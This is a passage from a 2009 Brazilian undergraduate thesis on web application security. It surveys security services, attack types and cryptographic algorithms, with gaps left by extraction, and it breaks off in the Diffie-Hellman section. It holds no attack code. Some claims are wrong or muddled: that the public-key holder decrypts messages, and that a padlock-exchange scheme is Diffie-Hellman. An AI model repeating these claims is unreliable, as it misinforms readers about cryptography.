Documenti di Didattica
Documenti di Professioni
Documenti di Cultura
Londrina
2009
THIAGO AUGUSTO LOPES GENEZ
Londrina
2009
THIAGO AUGUSTO LOPES GENEZ
COMISSÃO EXAMINADORA
Londrina, de de 2009
Ao finado pai Carlos Augusto Mungo Genez.
Agradecimentos
A meus pais, Carlos Augusto M. Genez e Jandira Lopes Genez, por absolutamente tudo.
Ao professor e orientador Mario Lemes Proença Jr. que sempre deu apoio e me ensinou a
realizar uma pesquisa de forma correta.
À minha namorada Amanda que me apoiou e soube compreender quando tive que ficar estu-
dando durante os finais de semana.
Ao professor Fabio Sakuray, pela aportunidade de estagiar no laboratório Orion que ajudou no
meu crescimento profissional.
As aplicações WEB são os principais mecanismos para realizar transferências de dados ele-
trônicos. Criptografia e protocolos de segurança são os componentes essenciais para estabelecer
um comércio eletrônico. Atualmente, com o crescimento do número de transações de dados
sendo feitas por meio da Internet, a garantia da segurança das transferências de informações
é importante. Grandes quantidades de dados sigilosos estão sendo transferidos por intermé-
dio da Internet, através de aplicações e-commerce, bancos on-line e até sites governamentais.
Entretanto, várias aplicações WEB são desenvolvidas rapidamente, e com isso, não são feitos
testes apropriados de segurança, dessa forma o software torna-se vulnerável. Sendo assim, este
trabalho apresenta as técnicas e tecnologias sobre a segurança na WEB, para que as aplicações
estabeleçam uma comunicação segura, confiável e sem vulnerabilidade.
The web applications are the main mechanisms for transfers of electronic data. Crypto-
graphy and security protocols are essential components for establishing an e-commerce. Cur-
rently, with the growth in the number of data transactions being made through the Internet,
ensuring the safety of the transfer of information is important. Large amounts of sensitive data
being transferred via the Internet, through e-commerce applications, online banks and even go-
vernment websites. However, many web applications are developed quickly, and with it, are not
done proper testing of security, so the software becomes vulnerable. Therefore, this paper pre-
sents the techniques and technologies on safety on the web, for applications to establish secure
communications, reliable and vulnerability.
4.7 Cenário de uma aplicação que depende da comunicação com diversos WEB
Services . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . p. 59
5.1 Aplicando assinatura digital. (1) Calculando hash. (2) Encriptando o hash
gerado. (3) Anexando o hash criptografado na mensagem . . . . . . . . . . . p. 66
1 Introdução p. 20
2.2.1 Autenticação . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . p. 23
2.2.2 Confidencialidade . . . . . . . . . . . . . . . . . . . . . . . . . . . p. 23
2.2.3 Integridade . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . p. 23
2.2.4 Não-repúdio . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . p. 24
2.2.6 Disponibilidade . . . . . . . . . . . . . . . . . . . . . . . . . . . . . p. 24
3.2.1.1 RC5 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . p. 34
3.2.1.2 RC6 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . p. 35
3.2.1.3 DES . . . . . . . . . . . . . . . . . . . . . . . . . . . . . p. 35
3.2.1.4 TDES . . . . . . . . . . . . . . . . . . . . . . . . . . . . p. 36
3.2.1.5 AES . . . . . . . . . . . . . . . . . . . . . . . . . . . . . p. 36
3.2.1.6 Blowfish . . . . . . . . . . . . . . . . . . . . . . . . . . . p. 37
3.2.1.7 Twofish . . . . . . . . . . . . . . . . . . . . . . . . . . . p. 37
3.2.1.8 Serpent . . . . . . . . . . . . . . . . . . . . . . . . . . . . p. 37
3.2.2.1 RC4 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . p. 38
3.3.2.1 RSA . . . . . . . . . . . . . . . . . . . . . . . . . . . . . p. 41
3.3.2.2 Diffie-Hellman . . . . . . . . . . . . . . . . . . . . . . . . p. 41
3.3.2.3 DSA . . . . . . . . . . . . . . . . . . . . . . . . . . . . . p. 42
3.4.1 MD5 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . p. 43
3.4.2 MD6 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . p. 44
3.4.3 SHA-1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . p. 44
3.4.4 SHA-2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . p. 45
3.4.5 SHA-3 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . p. 45
4 Protocolos de Segurança p. 46
4.1 SSL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . p. 46
4.1.1 Objetivos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . p. 47
4.1.2 Arquitetura . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . p. 47
4.1.3 Funcionamento . . . . . . . . . . . . . . . . . . . . . . . . . . . . . p. 50
4.2 TLS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . p. 54
4.3.1 HTTPS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . p. 56
4.4 IPsec . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . p. 57
4.4.1 Serviços . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . p. 58
4.7 DNSSec . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . p. 62
4.8 DNSCurve . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . p. 63
5 Identificação Digital p. 64
6 Os Ataques p. 69
6.5.3.1 XSS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . p. 74
6.5.3.3 CSRF . . . . . . . . . . . . . . . . . . . . . . . . . . . . p. 76
6.5.3.4 Phishing . . . . . . . . . . . . . . . . . . . . . . . . . . . p. 76
6.5.3.6 Clickjacking . . . . . . . . . . . . . . . . . . . . . . . . . p. 78
7 Auditoria de Segurança a Aplicações Web p. 79
7.3.1 Ratproxy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . p. 85
7.3.2 WebScarab . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . p. 85
7.3.3 Paros . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . p. 85
7.3.5 w3af . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . p. 86
8 Conclusão p. 89
Referências Bibliográficas p. 91
20
1 Introdução
Uma aplicação WEB é um termo usado para indicar, de forma geral, os programas proje-
tados para serem acessados através de um navegador WEB (browser). Entretanto, como cada
aplicação situa-se fisicamente em algum servidor de localidade geográfica desconhecida, a co-
municação torna-se totalmente realizada por meio de um canal que por padrão é inseguro — a
Internet. Desse modo, para resolver essas questões relacionadas à segurança existem inúmeros
algoritmos de criptografia e protocolos que provêem uma transmissão segura na WEB.
Portanto, o enfoque desse trabalho será o estudo dos mecanismos de segurança aplicados
nas aplicações WEB. No capítulo 2 é abordado os problemas gerais de segurança existentes na
WEB. Já o capítulo 3 introduz o conceito da criptografia básica, o qual consiste a essência da
segurança no mundo virtual. O capítulo 4 descreve os protocolos criptográficos. A identifica-
ção digital, descrito no capítulo 5, apresenta os métodos de autenticação através dos certificados
digitais. O capítulo 6 contém as principais ameaças, vulnerabilidades e tipos de ataques prati-
cados atualmente. E por último, capítulo 7, apresenta modelos de gerenciamento da segurança
e ferramentas para verificar as vulnerabilidades das aplicações.
21
A palavra segurança tornou-se uma obrigação imprescindível não somente no mundo real,
como também no mundo virtual. O universo da segurança é marcado por uma característica
cíclica, pois novas formas de ataque têm como consequência novas maneiras de proteção, o qual
induz à procura de novas vulnerabilidades que levam ao desenvolvimento de novos métodos de
ataque. Neste último passo é que o ciclo se completa. Em outras palavras, é no “ponto” mais
fraco das aplicações que os ataques ocorrem.
Por outro lado, a ausência de segurança nos sistemas, geralmente, tem como resultados
grandes prejuízos (como, por exemplo: interrupção do serviço; transações fraudulentas; roubo
ou modificação de dados; roubo de informações de clientes; perdas financeiras e danos físicos
do sistema) e queda de novas oportunidades de negócios (como, por exemplo: perda da con-
fiabilidade dos usuários resultando queda dos acessos nas aplicações que, consequentemente,
determinam falta de novas proposta de desenvolvimento). Entretanto, quando existe algum
modelo de segurança no ambiente da comunicação, muitas vezes, mostra-se insuficiente para
gerenciar o “complexo” mecanismo de trocas de dados na Internet.
De acordo com Jamsa e Klander (JAMSA; KLANDER, 2002), a Internet e o mundo real
possuem várias características em comum, tais como: paradigmas, problemas e soluções. O
requesito de segurança não podia ser diferente, ou seja, as mesmas atitudes de segurança do
mundo real são aplicadas na Internet. Alguns paralelos interessantes são:
Por meio da Internet é possível conectar-se com qualquer parte do mundo e obter muitas
informações. Porém, é neste mesmo caminho que muitos computadores são invadidos sim-
plesmente pela falta de segurança básica. Ao longo dos últimos anos, a rede virtual tem sido
frequentemente utilizada como “ferramenta” para fraudar os dados públicos e privados.
Segundo o autor Vivo (VIVO et al., 1998), a Internet foi desenvolvida por meio de esforços
acadêmicos com o principal objetivo de compartilhar informações. No entanto, dentre alguns
componentes da Internet, a segurança foi conscientemente tratada para facilitar o comparti-
lhamento dos dados. Entretanto, esta “liberdade” negociada estimula, indiretamente, a fraqueza
dos softwares. Dessa maneira, junto com a falta de conhecimento prévio do assunto, uma grande
quantidade de usuários está vulnerável aos ataques virtuais. Isto ocorre porque, na maioria das
vezes, os usuários não estão cientes da natureza das invasões e ainda acreditam que uma “boa”
senha é o único fator com que precisam se preocupar para se proteger dos intrusos.
De acordo com Salomon (SALOMON, 2003), a falta de segurança nas aplicações WEB
associado ao pensamento de que nenhum intruso irá descobrir as suas vulnerabilidades, pode
ou irá, resultar em um risco muito grande, pois é meramente questão de tempo para algum
indivíduo descobrir as brechas existentes na aplicação. Os prejuízos podem ser tanto danos
financeiros quanto morais. Por exemplo, qualquer incidente de segurança que ocorrer em um
bank-online, por mínimo que seja, fará com que os clientes percam a confiabilidade dos ser-
viços fornecidos deste banco, ou seja, o cliente terá receio de realizar transações bancárias
on-line. Além disso, se o intruso conseguir realizar um roubo virtual, o banco irá sofrer algu-
mas consequências como estornar o dinheiro roubado do cliente e se recompor moralmente aos
usuários.
Por isso que, atualmente, providenciar a camada de segurança nas aplicações WEB é uma
2.2 Os serviços disponibilizados pela segurança 23
questão de necessidade e não somente uma possibilidade. No entanto, somente a sua presença
não irá garantir a proteção propriamente dita, é necessário também gerenciá-la, devido ao fato
de que a cada dia novas vulnerabilidades são descobertas e, consequentemente, novos ataques
são realizados. Diante disso, é possível afirmar que não existe uma aplicação 100% segura.
Assim, o ideal é estabelecer o máximo de segurança possível para que as informações não
sejam apossadas pelos invasores, pois uma segurança planejada já é o suficiente para dificultar
os atos ilícitos.
2.2.1 Autenticação
2.2.2 Confidencialidade
A confidencialidade é definida pela ISO (ISO, 2009) (International Organization for Stan-
dardization) como a garantia de que a informação seja somente acessível entre os indivíduos
autorizados. Este serviço é a essência dos sistemas criptográficos, colocando em prática as mo-
dernas técnicas de codificação. A confidencialidade é necessária, mas não o suficientemente
para manter a privacidade das informações.
2.2.3 Integridade
A integridade é o serviço que promove a garantia de que as informações trafegam até seu
destino de modo autêntico e genuíno, ou seja, significa que os dados não podem ser modifica-
dos sem autorização. A integridade é violada quando, por exemplo, um indivíduo com intenção
2.3 Tipos de ataques contra a Segurança 24
maliciosa modifica dados importantes ou mesmo quando um usuário não autorizado altera in-
formações confidenciais.
2.2.4 Não-repúdio
O serviço não repúdio impede, tanto o emissor quanto o receptor, de negar a transmissão das
mensagens. O processo funciona da seguinte maneira: (1) quando uma mensagem é enviada, o
destinatário consegue provar que a mensagem foi realmente expedida pelo suposto emissor; (2)
quando a mensagem é recebida, o emissor pode provar que a mensagem foi de fato aceita pelo
alegado receptor. Este serviço é muito utilizado nas assinaturas digitais.
2.2.6 Disponibilidade
fluxo normal é ilustrado na figura 2.1a, e as demais ilustrações esquematizam às quatro catego-
rias gerais de ataque:
Estes ataques são também classificados em duas vertentes, conhecidos como ataques passi-
vos e ataques ativos, termos utilizado nos padrões X.800 (ITU-T, 1991) e RFC 2828 (SHIREY,
2007).
Os ataques passivos são caracterizados por apenas realizar escutas ou monitoramento não
autorizado das transmissões dos dados na rede, ou seja, caracteriza-se pela intercepção das men-
sagens sem modificá-las. Existem dois tipos de ataques passivos: release of message contents
(“liberação do conteúdo da mensagem”) e traffic analysis (“análise de tráfego”).
Por não implicar em qualquer alteração das informações, os ataques passivos são muito di-
fíceis de serem detectados. Isso acontece porque, tipicamente, a mensagem é enviada e recebida
normalmente, e nem o remetente nem receptor está ciente de que algum terceiro tenha feito a
leitura ou observação dos padrões de tráfego da mensagem. Entretanto, com o uso da cripto-
grafia tem a possibilidade de impedir o sucesso desses ataques. No entanto, deve-se priorizar a
prevenção ao invés do tratamento dos ataques passivos.
Diferentemente dos ataques passivos, os ataques ativos são caracterizados pela alteração
das informações transmitidas ou pela criação de novos fluxos de dados. Estes ataques podem
ser subdivididos em quatro categorias: masquerade attacks, message replay, modification of
messages e denial of service.
O masquerade attacks (“ataque disfarçado”), como o próprio nome sugere, é o ataque onde
o invasor assume a identidade legítima, a fim de adquirir o controle de acesso ao sistema ou
as informações sigilosas. Em outras palavras, este ataque ocorre quando a entidade pretende
disfarçar-se por outra entidade já existente. O “ataque disfarçado” pode ser incorporado nas
outras categorias de ataques ativos.
Fig. 2.2: Ataque Ativo: Ataque de mensagens repetitivas. Adaptado de (STALLINGS, 2006)
objetivo de produzir um efeito não autorizado no sistema. Este ataque também pode envolver
a alteração do cabeçalho de endereço do pacote com o propósito de redirecioná-lo para um
destino não intencional ou modificar os dados do usuário. Observe a figura 2.3.
Um exemplo deste método é “ataque do homem do meio”, cujo termo em inglês é Man-in-
the-Middle Attack. Este ataque é uma forma de escuta feita por meio de conexões indepen-
dentes com as vítimas e realizado pelo intruso. Após receber os dados o atacante retransmite
as mensagens entre as vítimas, fazendo-os acreditar que eles estão falando diretamente uns
aos outros durante a comunicação. Na realidade, toda a conversa é controlada pelo atacante.
A maioria dos protocolos criptográficos inclui alguma forma de autenticação especificamente
para impedir ataques MITM. Por exemplo, o SSL autentica o servidor usando uma autoridade
certificadora mutuamente confiável.
O denial of service attacks (DoS) é o ataque cujo objetivo é tentar tornar os recursos de um
sistema indisponíveis para seus utilizadores. Conhecido também pelo termo DoS Attacks, este
ataque não se trata de uma invasão do sistema, mas sim da sua invalidação pela sobrecarga. Veja
a ilustração2.4. Isto é, as obstruções dos serviços são realizadas pelo sobrecarregamento da rede
da vítima, devido ao envio de múltiplas mensagens (por exemplo, pedidos de serviços) resul-
tando no travamento ou na reinicialização forçada do sistema da vítima por causa do aumento
significativo do consumo de todos os recursos (por exemplo: memória ou processamento). O
resultado é um serviço com uma funcionalidade inadequada ou, no pior dos casos, a ausên-
cia temporária do mesmo. Os autores dos ataques DoS tipicamente preferem alvos como sites
ou serviços hospedados em servidores WEB de alta visibilidade (por exemplo: bank on-line,
cartões de crédito e aplicações e-commerce.
2.4 O Problema da segurança no Ambiente WEB 29
Os usuários finais, ou seja, as pessoas que usufruem das aplicações WEB, estão expostas
a vários riscos de segurança e de privacidade quando utilizam a Internet. Outro problema é
a vulnerabilidades do browser o qual tem grande chances em comprometer a segurança dos
cliente na WEB, de acordo com os autores Garfinkel e Spafford (GARFINKEL; SPAFFORD,
2002). No entanto, o único contato que os usuários possuem com as aplicações é através dos
navegadores WEB. Em muitos casos, estes navegadores são utilizados sem a mínima precaução
e configurados pelo próprio proprietário do computador o qual não possui conhecimento prévio
de segurança. E, segundo Wadlow e Vlad (WADLOW; GORELIK, 2009), os browser são o
centro da experiência com a Internet e, consequentemente, o centro de muitos dos problemas
de segurança que afligem os usuários e desenvolvedores de aplicações WEB.
ente, tais como: Applets2 , controles de ActiveX 3 , AJAX 4 . Estas ferramentas permitem, que uma
parte da página WEB, em chamar um procedimento remoto de um servidor através da Internet
e utilizar os resultados dessa chamada, no próprio contexto da própria inicial. São mecanismos
poderosos, mas que podem facilitar os ataques. Outra forma de roubar informações da vítima
é através das páginas quem “empurram” os conteúdos da WEB aos usuários finais. Esta atitude
pode resultar no envio de algum software capaz de explorar vulnerabilidades do navegador e,
posteriormente, o envio de outros códigos maliciosos executáveis para roubar as informações
desejadas, como, por exemplo, as aplicações desenvolvidas em Flash, JavaScript ou Java, os
quais permitem que softwares desenvolvidos nestas linguagens, por terceiros desconhecidos,
funcionem dentro do navegador WEB.
Segundo o Lam (LAM et al., 2008), a maioria das vulnerabilidades em aplicações WEB
ocorre por permitir a entrada de dados sem respectiva validação e, o resultado, as vezes é o
controle total do sistema, pois as “informações” enviadas pelo invasor podem ser comandos
reais para danificar tanto o servidor quanto a aplicação WEB. Dessa maneira, o problema de
segurança da WEB pode ser solucionado, basicamente, através de três atividades, as quais de
acordo com Noureddine e Damodaran (NOUREDDINE; DAMODARAN, 2008):
1. Proteger o servidor WEB e os respectivos dados internos: Deve-se garantir que as ope-
rações do servidor não sejam interrompidas, e que as informações armazenadas interna-
2 Um applet é um componente de software que é executado no contexto de outro programa, por exemplo, um
navegador da WEB.
3 Os controles ActiveX são pequenos blocos de código que serve para criar aplicações distribuídas no qual a
execução ocorre por meio da Internet através dos browsers. Exemplos incluem aplicações personalizadas para
obter dados dos usuários, visualização de determinados tipos de arquivos e entre outras.
4 AJAX é o uso metodológico de tecnologias como Javascript e XML, providas por navegadores, para tornar
páginas Web mais interativas com o usuário, utilizando-se de solicitações assíncronas de informações.
2.4 O Problema da segurança no Ambiente WEB 31
mente não seja modificadas sem uma autorização legítima, e ainda, é somente permitido
distribuí-las para os usuários autorizados;
As três primeiras atividade são fatores controláveis pela administração do sistema através
dos equipamentos de segurança (como, por exemplo, criptografia, protocolos criptográficos,
identificação digital), porém a última é de responsabilidade do usuário, e com isso, difícil de
garantir a proteção neste nível. Portanto, assegurar a proteção dos quatro itens acima é garantir
a segurança das aplicações na WEB e, assim, minimizará os problemas dos frequentes ataques
na Internet.
32
3 Criptografia básica
A criptografia está cada vez mais sendo utilizada para garantir a segurança e a privacidade
das informações. A partir do uso da Internet como um meio alternativo para transferir infor-
mações eletrônicas e junto com a falta de segurança da rede, inspiraram-se no estudo desta
ferramenta como uma maneira de proteção para os dados eletrônicos. Entretanto, a essência
criptografia é esconder o significado de mensagens e não a existência delas. De acordo com
Khalifa (KHALIFA et al., 2004), a criptografia é palavra de origem etimológica grega que pos-
sui o seguinte significado: ckryptós, “escondido” e gráphein, “escrever”.
Nos algoritmos de chave única, também chamada de sistema de chave simétrica, os proces-
sos de codificação e de decodificação utilizam a mesma chave. Esta deve apenas ter conheci-
mento entre o emissor e o receptor, e também, ser armazenada num ambiente seguro. A figura
3.2 ilustra, esquematicamente, uma criptografia simétrica. No entanto, é necessário que a chave
seja transmitida de uma entidade à outra por meio de um canal seguro. Logo, se a segurança do
canal for comprometida e a chave interceptada, o usuário mal intencionado poderá decifrar as
mensagens facilmente.
Para que um algoritmo simétrico seja considerado eficiente são necessários os seguintes
aspectos, segundo Lima (LIMA, 2008): (1) ser resistente às técnicas de criptoanálise1 ; (2) ter a
capacidade de gerar uma chave com um tamanho grande de número de bits; (3) ser facilmente
1 Criptoanálise é o área da criptologia que descodifica ou decifra uma mensagem sem ter conhecimento da chave
secreta.
3.2 Algoritmos Simétricos 34
implementado em hardware; (4) o algoritmo pode ser de domínio público; (5) ser resistente à
ataque de força bruta2 ; (6) ser rápido — sendo que esta medição tem que ser realizada através da
comparação com outros algoritmos simétricos. A criptografia simétrica é divida em dois tipos
de algoritmos: codificação em blocos (Block ciphers) e codificação em fluxo (Stream Cipher).
3.2.1.1 RC5
O algoritmo RC5 (RIVEST, 1994) foi projetado pelo professor Ron Rivest no Instituto
de Tecnologia de Massachusetts em 1994, o qual em 1997 foi registrado como RFC 2040
(BALDWIN; RIVEST, 1996). É uma cifra simples e rápida, cuja parametrização é realizada
pelas seguintes entidades: tamanho do bloco, iterações3 (the number of rounds) e comprimento
da chave, respectivamente. Estes parâmetros podem ser ajustados, de acordo com a necessidade
do usuário, tais como: segurança e desempenho. O RC5 pode conter blocos de tamanho variá-
vel (32, 64 ou 128 bits), e chave alternando de 0 a 2040 bits. No entanto, a especificação RFC
2040 sugere que os valores do bloco e da chave sejam de 64 e 128 bits.
A RSA Security ofereceu uma recompensa de U$$10.000 para quem conseguir quebrar
2 Em ciência da computação, força bruta (ou busca exaustiva) é uma algoritmo trivial mas de uso muito geral
que consiste em enumerar todos os possíveis candidatos de uma solução e verificar se cada um satisfaz o problema.
3 Número de repetições de um processo para uma mesma função
3.2 Algoritmos Simétricos 35
um texto codificado pelo RC5. No entanto, este concurso foi interrompido em maio de 2007,
pela organização denominada Distributed.net (DISTRIBUTED.NET, 2009)4 , a qual utilizando
ataques de força-bruta em mensagens codificada com chaves de 56 e 64 bits, afirmou que a
partir de janeiro de 2009 este ataque estaria 0,5% completado. Isto é, neste ritmo, seria neces-
sário pelo menos mil anos para testar todas as possibilidades de chaves, para então finalizar o
projeto(RIVEST, 1994).
3.2.1.2 RC6
3.2.1.3 DES
O algoritmo de criptografia DES acrônimo para (Data Encryption Standard) (NIST, 1999)
surgiu em meados dos anos 1970 quando o governo norte americano sentiu a necessidade de
projetar um modelo federal de criptografia para garantir o sigilo de suas informações, represen-
tado pela sigla FIPS PUB 46-3. Assim, em 1976 o DES foi desenvolvido pela IBM. A chave
simétrica DES é formada por 64 dígitos binários, dos quais 56 bits são gerados aleatoriamente
e usada diretamente pelo próprio algoritmo – conhecido como DEA. Os oitos bits restantes
são utilizado com a finalidade de detecção de erros. Enfim, o DES foi projetado para cifrar e
decifrar blocos de dados de 64 bits sob o controle de uma chave de 64 bits ou 8 bytes.
(EFF, 1998) conseguiu quebrar uma chave DES de 56 bits em coincidentes 56 horas, por meio
de uma máquina, fabricada pela própria EFF, denominada EFF DES cracker e apelidada como
“Deep Crack)”. O Deep Crack conseguiu romper a chave DES por meio de ataque de força
bruta, pois a finalidade da EFF era provar que as cifras DES não era suficientemente longa para
4A organização distributed.net foi o primeiro projeto da Internet para fins gerais de computação distribuída.
5A Electronic Frontier Foundation é uma das principais organizações de liberdades civis garantindo que a
privacidade e a segurança de todas as comunicações on-line devem ser preservados
3.2 Algoritmos Simétricos 36
se julgar seguro. No entanto, em janeiro de 1999, o tempo da violação da chave DES caiu para
22 horas e 15 minutos, façanha realizada pela EFF e distributed.net através do aprimoramento
do “Deep Crack”. Portanto, atualmente a criptografia DES não é mais utilizada porque sua
fragilidade compromete a segurança de uma aplicação.
3.2.1.4 TDES
O algoritmo de criptografia TDES (BARKER, 2004), também conhecido como 3DES, Tri-
ple DES, e por último TDES, foi desenvolvindo baseado no seu antecessor o DES. O algoritmo
criptográfico propriamente dito é denominado como Triple DEA ou TDEA. Segundo Stallings
(STALLINGS, 1999) o TDEA utiliza três chaves de 56 bits e três execuções do algoritmo DES.
O processo de codificação do Triple DES é realizada na seguinte sequência: Encrypt-Decrypt-
Encrypt — EDE (Cifrar-Decifrar-Cifrar). Basicamente, a cifragem ocorre da seguinte maneira:
C = EK3 [DK2 [EK1 [P]]], onde K1 , K2 e K3 são as respectivas chaves secretas; C é o texto ci-
frado e P o texto puro. Já o processo de decodificação é simplesmente a operação invertida:
Decrypt-Encrypt-Decrypt — DED (Decifrar-Cifrar-Decifrar), ou seja, P = DK1 [EK2 [DK3 [C]]].
Com três chaves distintas, o Triple DES, pensando como um todo, possui uma chave efetiva
de 168 bits. De acordo com FIPS 46-3 também possibilita a utilização do algoritmo TDEA
com apenas duas chaves (K1 = K3 ), resultando em uma chave única de 112 bits. Segundo Ba-
rison (BARISON, 2006) com o uso da técnica de criptoanálise, uma chave de tamanho efetivo
de 112 bits seria reduzido para 80 bits comprometendo a segurança das informações. No en-
tanto, Stallings (STALLINGS, 1999) afiram que com a utilização de uma cifra de 168 bits de
comprimento, os ataques de força-bruta são efetivamente impossíveis de acontecer.
3.2.1.5 AES
de 128, 192 e 256 bits. Segundo Stallings (STALLINGS, 1999), a NIST estabeleceu alguns
critérios de avaliações, bem como: segurança, eficiência computacional, memória utilizada,
sustentabilidade do hardware e do software e flexibilidade. Todos requesitos foram garantidos
pelo algoritmo Rijndael.
De acordo com Lima (LIMA, 2008) o AES é mais rápido, requer pouca memória e pode
ser implantado com pouca dificuldade tanto hardware quanto em software. Atualmente, o AES
está sendo utilizado em inúmeras aplicações Web, como e-commerce, e oferece suporte aos
protocolos SSL/TSL. De acordo com Barison (BARISON, 2006) e até o presente momento não
se conhece nenhum ataque de criptoanálise que tem o poder de reduzir o tamanho da chave de
uma forma significativa.
3.2.1.6 Blowfish
3.2.1.7 Twofish
3.2.1.8 Serpent
O algoritmo de chave simétrica Serpent (ANDERSON et al., 1998) foi projetado em 1998
pelos autores: Ross Anderson, Eli Biham, e Lars Knudsen, e conseguiu ser um dos finalista do
concurso AES, ocupando a posição de segundo lugar. Serpent trabalha com bloco de cifra de
3.2 Algoritmos Simétricos 38
128 bits de tamanho e suporta chaves de 128, 192 or 256 bits de comprimento. A cifra Serpent
não foi patenteada. É completamente de domínio público e pode ser utilizada livremente por
qualquer pessoa. O ataque XLS 6 , se for eficaz, enfraqueceria Serpent – embora não tanto como
enfraqueceria o Rijndael, que se tornou AES. No entanto, muitos criptoanalistas acreditam que
um ataque XSL seria mais “caro” do que um ataque de força bruta.
Os algoritmos de chave simétrica possuem o conjunto dos straem cipher (cifra de fluxo).
A principal característica desta é que a codificação do texto original ocorre byte por byte ou bit
por bit. Isto é, processa os elementos de entrada continuamente, produzindo um elemento de
saída por vez.
3.2.2.1 RC4
O algoritmo RC4 (KAUKONEN; THAYERS, 1999), foi desenvolvido pelo professor Ron
Rivest em 1987, assim como o RC2, RC5 e RC6. É utilizado nos protocolos SSL/TSL, WEP
e WPA; e possui grande utilização nos famosos softwares como Internet Explorer, Lotus No-
tes, Apple Computer’s AOCE, Oracle Secure SQL, Netscape e Adobe Acrobat. Mantido em
segredo comercial, o RC4 foi publicado na internet em setembro de 1994. Suporta chaves de
comprimentos de 1 a 256 bytes ou 8 à 2048 bits, embora notável pela sua simplicidade e rapi-
dez no software, o RC4 possui algumas fragilidades que argumentam contra a sua utilização no
projeto de novos sistemas, devido ao comprimento variável, algumas chaves geradas pode ser
consideradas muito fracas.
3. C não pode ser quebrado por um ataque conhecido como Chosen Plaintext Attack7
Resumidamente, na criptografia assimétrica são geradas duas chaves para cada usuário, ou
seja, cada entidade tem um par de chaves criptográficas. A chave privada é mantida em se-
gredo com o proprietário, enquanto a chave pública pode ser livremente distribuída para outros
indivíduos ou armazenada em um diretório público. Dessa forma, os algoritmos de chave pú-
blica podem ser utilizados para dois objetivos: (1) confidencialidade e (2) autenticidade. De
acordo com Krause e Tipson (KRAUSE; TIPSON, 1998) a vantagem dos sistema criptográfico
de chave pública, em relação a confidencialidade, é a possibilidade da transmitir mensagens
codificadas sem a necessidade de trocar a chave privada. Isto é, uma vez codificada pela chave
pública, somente o seu par – a chave privada – poderá decifrar a mensagem. Em outras palavras,
apenas o proprietário da chave codificadora (chave pública) poderá decifrar a mensagem.
7 O ataque CPA, acrônimo para Chosen Plaintext Attack, em português “Ataque do Texto Puro Escolhido” é
um modelo de ataque em que o criptoanalista tem a capacidade de definir seu próprio plaintexts para ser codificado
e obter o correspondente ciphertexts. O objetivo do ataque é ganhar alguma informação adicional que reduz a
segurança da cifragem. Na pior das hipóteses, um ataque CPA poderia revelar o esquema da chave secreta.
3.3 Algoritmos Assimétricos 40
A criptografia de chave pública é caracterizada pelo uso de duas chaves, uma de posse
privada e outra disponível para o público. Dependendo do seu objetivo podemos classifica-la
em três categorias, segundo Stallings (STALLINGS, 2006):
• Assinatura Digital: O emissor “assina” a mensagem com a sua chave privada. A assina-
tura é realizada através codificação de uma parte da mensagem;
• Troca de Chaves: Os dois lados da comunicação colaboram para uma sessão de troca de
chave. Várias abordagens diferentes são possíveis, envolvendo a chave privada de uma
ou ambas as partes.
Alguns algoritmos são adequados para todas as três categorias, enquanto outros podem ser
utilizados apenas para uma ou duas. A tabela 1 indica quais categorias são suportadas pelos
algoritmos.
3.3 Algoritmos Assimétricos 41
3.3.2.1 RSA
Isto é, comprimentos curtos ou longos podem ser utilizados de acordo com objetivo entre
a velocidade da criptografia com a segurança da aplicação. Lima (LIMA, 2008) afirma que,
o RSA é usado como um padrão para todas as aplicações que desejam oferecer serviços para
troca de chaves e certificados. É também muito utilizado nas aplicações bank on-line de alguns
bancos brasileiros, como Bradesco, Itaú e Banco do Brasil; Brasil, e em autenticação de serviços
de email – PEM (Privacy Enhanced Mail).
3.3.2.2 Diffie-Hellman
O primeiro algoritmo assimétrico surgiu através dos modelos de estudos dos pesquisadores
Whitfield Diffie e Martin Hellman, os quais, em 1976, deram início à criptografia de chave pú-
blica (DIFFIE; HELLMAN, 1976b), como a introdução do algoritmo conhecido como troca de
chaves Diffie-Hellman (DIFFIE; HELLMAN, 1976a) (Diffie-Hellman Key Exchange). Tam-
bém conhecido pela sigla D-H, o algoritmo é um protocolo criptográfico que possibilita duas
ou mais entidades, as quais não possuem nenhum conhecimento prévio uma das outras, a de-
terminarem o compartilhamento de uma chave secreta por meio de um canal de comunicações
inseguro. Essa chave – derivada de algoritmo simétrico – pode ser utilizada para criptogra-
far as comunicações posteriores. Segundo Dherik (BARISON, 2006), diferente do algoritmo
RSA, o Diffie-Hellman não possui a possibilidade de codificar/decodificar informações, e sim
a capacidade de apenas realizar a troca de chaves.
A solução proposta pelo D-H é baseado no modelo de cadeados. Por exemplo, Ana deseja
remeter uma mensagem secreta para José. Com isso, Ana guarda a mensagem em alguma
caixa, trancando-a por meio de um cadeado (lembrando que somente ela possui a chave deste
cadeado) e a remete para José. José recebe a caixa e coloca outro cadeado na caixa (o qual
3.3 Algoritmos Assimétricos 42
somente José tem a chave) e reenvia para Ana que, ao receber, apenas retira o seu cadeado e
remete novamente para José. Assim, com apenas o cadeado de José, ele abre a caixa e consegue
visualizar secretamente a mensagem original.
Dessa maneira, o segredo do algoritmo Diffie-Hellman está nas funções matemáticas que
